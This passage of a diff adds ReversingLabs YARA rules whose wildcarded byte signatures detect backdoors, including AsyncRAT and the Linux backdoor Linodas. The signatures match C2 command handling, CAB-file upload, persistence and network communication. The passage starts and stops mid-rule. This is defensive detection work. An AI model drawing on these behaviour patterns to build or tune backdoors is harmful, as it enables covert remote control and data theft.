+            ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 0F 84 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? 33 D2
+            41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4D 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 49 8D 8F
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 7C 24 ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? C7 44 24 ??
+            ?? ?? ?? ?? 4D 8D 87 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 33 C9 49 8B CC 48 89 5C 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74
+        }
+		$create_cab_file_and_upload_p4 = {
+            8B 44 24 ?? 48 8D 15 ?? ?? ?? ?? 4D 8B CD 41 B8 ?? ?? ?? ?? 48 8B CF 89 44 24 ?? FF
+            15 ?? ?? ?? ?? 85 C0 74 ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 45 33 C9 45 33
+            C0 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ??
+            ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ??
+            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF C0 B9 ?? ?? ?? ?? 8B
+            D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48
+            8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B
+            CE FF 15 ?? ?? ?? ?? 83 C8 ?? EB ?? 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 44
+            8B 44 24 ?? 4C 8D 4C 24 ?? 49 8B D5 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15
+            ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
+            45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B
+            CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 8B C3 4C 8B B4 24 ?? ?? ?? ?? 4C 8B
+            AC 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
+            ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5C 5F 5E 5D C3
+        }
+		$cmd_expand_payload_p1 = {
+            40 53 55 41 55 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ??
+            ?? ?? 48 8B E9 48 8D 8C 24 ?? ?? ?? ?? 45 33 ED 33 D2 41 B8 ?? ?? ?? ?? 66 44 89 AC
+            24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 44
+            89 AC 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 45 8D 45 ?? 48 8D 4C 24 ?? 33 D2 44 89 6C 24 ??
+            E8 ?? ?? ?? ?? 33 C0 4C 89 6C 24 ?? 45 8D 45 ?? 45 33 C9 BA ?? ?? ?? ?? 48 8B CD C7
+            44 24 ?? ?? ?? ?? ?? 4C 89 6C 24 ?? 48 89 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 45 33 C9 33
+            D2 48 8B C8 45 8D 41 ?? 4C 89 6C 24 ?? 48 89 BC 24 ?? ?? ?? ?? 44 89 6C 24 ?? FF 15
+            ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ??
+            ?? 45 33 C9 45 33 C0 48 8B C8 41 8D 51 ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 6C 24 ?? FF
+            15 ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ??
+            ?? ?? 4C 8D 40 ?? 48 8D 84 24 ?? ?? ?? ?? 41 83 C9 ?? 33 D2 33 C9 C7 44 24 ?? ?? ??
+            ?? ?? 48 89 44 24 ?? 4C 89 A4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ??
+            33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+        }
+		$cmd_expand_payload_p2 = {
+            44 8B 66 ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ??
+            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ??
+            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 8B CD BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24
+            ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 4C
+            89 6C 24 ?? 4C 89 6C 24 ?? 45 33 C0 33 C9 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? 66 44 89 AC 24 ?? ?? 00 00 44 89 6C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C8
+            ?? EB ?? 90 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 4C 89 6C 24 ?? 48 8D 0D ?? ??
+            ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CB
+            FF 15 ?? ?? ?? ?? 41 8B C4 4C 8B A4 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B BC
+            24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
+            41 5D 5D 5B C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($network_communication_p*)) and ( all of ($handle_c2_commands_p*)) and ( all of ($create_cab_file_and_upload_p*)) and ( all of ($cmd_expand_payload_p*))
+}
+rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Asyncrat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects AsyncRAT backdoor."
+		author = "ReversingLabs"
+		id = "78ff36e1-1620-50f4-8abd-adcf8b1242da"
+		date = "2024-05-22"
+		modified = "2024-05-22"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara#L1-L149"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "53a13975cd53b571910f951adc44707c11b86c003eeb7b88dbe701253645ac89"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "AsyncRAT"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$read_server_data_v1 = {
+            28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 28 ??
+            ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0A 06 16 3E ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 06 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 6A 59 28 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 3A ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6A 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 16 6A 3E ?? ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? ?? ??
+            ?? 69 6F ?? ?? ?? ?? 0B 07 16 3D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 07 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6A 59 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 16 6A 3C ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 30 ??
+            14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 16 6A 28 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 38 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 3C ?? ?? ?? ?? 16
+            28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ??
+            ?? ?? ?? 69 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 38 ?? ??
+            ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD
+        }
+		$send_v1 = {
+            28 ?? ?? ?? ?? 0A 16 0B 06 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DD ??
+            ?? ?? ?? 02 8E 69 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ??
+            ?? ?? 08 16 08 8E 69 6F ?? ?? ?? ?? 02 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? 02 73 ??
+            ?? ?? ?? 0D 16 13 ?? 09 16 6A 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 38
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25
+            13 ?? 16 30 ?? DD ?? ?? ?? ?? 09 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ??
+            15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ??
+            06 28 ?? ?? ?? ?? DC
+        }
+		$read_packet_v1_p1 = {
+            73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 02 74 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B
+            07 28 ?? ?? ?? ?? 0C 08 20 4F 01 89 64 42 ?? ?? ?? ?? 08 20 7A 39 BA 13 42 ?? ?? ??
+            ?? 08 20 D4 CA CD 0C 3B ?? ?? ?? ?? 08 20 7A 39 BA 13 3B ?? ?? ?? ?? 38 ?? ?? ?? ??
+            08 20 2B C2 32 1B 3B ?? ?? ?? ?? 08 20 E2 A2 F4 57 3B ?? ?? ?? ?? 08 20 4F 01 89 64
+            3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 08 20 5A 15 79 D9 42 ?? ?? ?? ?? 08 20 B7 16 DB 7A 3B
+            ?? ?? ?? ?? 08 20 39 20 3F B2 3B ?? ?? ?? ?? 08 20 5A 15 79 D9 3B ?? ?? ?? ?? 38 ??
+            ?? ?? ?? 08 20 1E CA D2 DC 3B ?? ?? ?? ?? 08 20 45 FD B6 E0 3B ?? ?? ?? ?? 08 20 D0
+            5E 9B FA 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07
+        }
+		$read_packet_v1_p2 = {
+            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 ??
+            ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
+            16 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 7B ??
+            ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ??
+            06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 ??
+            6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 12 ?? (FE | 16) ?? ?? ??
+            ?? ?? 6F ?? ?? ?? ?? DC 73 ?? ?? ?? ?? 26 06 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ??
+            73 ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ??
+            7E ?? ?? ?? ?? 25 3A ?? ?? ?? ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? 73
+        }
+		$send_v2 = {
+            7E ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 16 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ??
+            ?? ?? ?? 39 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 8E
+            B7 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 08 16 08 8E B7
+            6F ?? ?? ?? ?? 06 07 16 07 8E B7 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 17 6F ?? ?? ?? ??
+            26 7E ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? B7 16 14 (FE | 06) ?? ?? ??
+            ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC DE ??
+            25 28 ?? ?? ?? ?? 0D 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C ?? 11 ??
+            28 ?? ?? ?? ?? DC
+        }
+		$open_url_v2 = {
+            03 39 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 20 00 0C 00 00 28 ?? ?? ?? ?? 20 0F 27 00 00 28
+            ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 02 28 ?? ?? ?? ?? 74 ?? ?? ??
+            ?? 0A 06 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 7E ?? ?? ?? ?? 8E B7 6F ?? ?? ?? ?? 9A 6F ??
+            ?? ?? ?? 06 17 6F ?? ?? ?? ?? 06 20 10 27 00 00 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 0B DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC
+            2B ?? 02 28 ?? ?? ?? ?? 26
+        }
+		$monitoring_v2 = {
+            73 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ??
+            11 ?? 9A 0B 08 07 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 28 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E B7 32 ?? 1F ?? 0A 38 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0D 09 6F ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 2C ?? 2B ?? 08 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 (FE | 07) ?? ?? ?? ?? ??
+            73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 1F ?? 31 ?? 16 0A 72 ?? ?? ?? ?? 09 6F ?? ??
+            ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 D6 13 ??
+            11 ?? 11 ?? 8E B7 32 ?? 06 17 D6 0A 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 3A
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ((($read_server_data_v1) and ($send_v1) and ( all of ($read_packet_v1_p*))) or (($send_v2) and ($open_url_v2) and ($monitoring_v2)))
+}
+rule REVERSINGLABS_Linux_Backdoor_Linodas : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Linodas backdoor."
+		author = "ReversingLabs"
+		id = "2b197346-abce-5cff-938f-bb8742e03168"
+		date = "2024-05-22"
+		modified = "2024-05-22"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Linux.Backdoor.Linodas.yara#L1-L216"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "12445771106e36b74b1ea292a8a25cab66bcaf0a08cf88d39a9f1bb13c6f525b"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Linodas"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$persistence_mechanism_ubuntu = {
+            41 54 BE ?? ?? ?? ?? 55 53 48 81 EC ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? 48 89
+            EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ?? 48
+            89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48
+            81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 6C 24 ?? 48 8D 54 24 ?? BE ?? ?? ?? ?? 48
+            89 EF E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 5C 24 ??
+            48 89 EE 48 89 DF E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ??
+            48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 5C 24 ?? 48 89 EE 48 89 DF E8 ?? ?? ??
+            ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 BC ?? ?? ?? ?? 48 83 EB ?? 4C 39 E3 0F
+            85 ?? ?? ?? ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7
+            E8 ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0
+            74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            8D 5C 24 ?? 4C 8B 44 24 ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8
+            ?? ?? ?? ?? 48 89 DE 48 89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F
+            85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA
+            ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 5C 24 ?? 4C 8B 44 24
+            ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48
+            89 E7 E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? BE ?? ??
+            ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ??
+            ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ??
+            48 8B 5C 24 ?? 48 83 EB ?? 49 39 DC 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49
+            39 DC 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C C3
+        }
+		$network_communication_1 = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 F3 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 81 EC ?? ??
+            ?? ?? 48 8B 06 48 89 FD 89 54 24 ?? 45 89 C4 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D
+            6C 24 ?? 48 8B 33 4C 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 78 ?? ?? 0F 84 ?? ??
+            ?? ?? 45 84 E4 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 45
+            ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 C5 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? ??
+            ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ??
+            ?? ?? ?? 48 8D 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ??
+            41 B8 ?? ?? ?? ?? 89 EF 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 48 8B 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 48 C7 44 24 ?? ?? ??
+            ?? ?? 66 C1 C8 ?? 66 C7 44 24 ?? ?? ?? 66 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ??
+            89 44 24 ?? 48 89 DE 89 EF E8 ?? ?? ?? ?? 83 C0 ?? 0F 84 ?? ?? ?? ?? 0F 1F 44 00 ??
+            48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24
+            ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3
+        }
+		$network_communication_2 = {
+            48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 FB 4C 89 64 24 ?? BE ?? ?? ?? ?? 48 83 EC ?? BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ??
+            ?? ?? ?? 48 8D 73 ?? 48 8D 53 ?? BF ?? ?? ?? ?? 48 8D 6C 24 ?? 45 31 E4 E8 ?? ?? ??
+            ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 73 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83
+            78 ?? ?? 74 ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ??
+            4C 8D 64 24 ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 48 89 DF E8 ?? ?? ?? ?? 48
+            8B 6C 24 ?? 41 89 C4 48 83 ED ?? 48 81 FD ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 45 84 E4 74
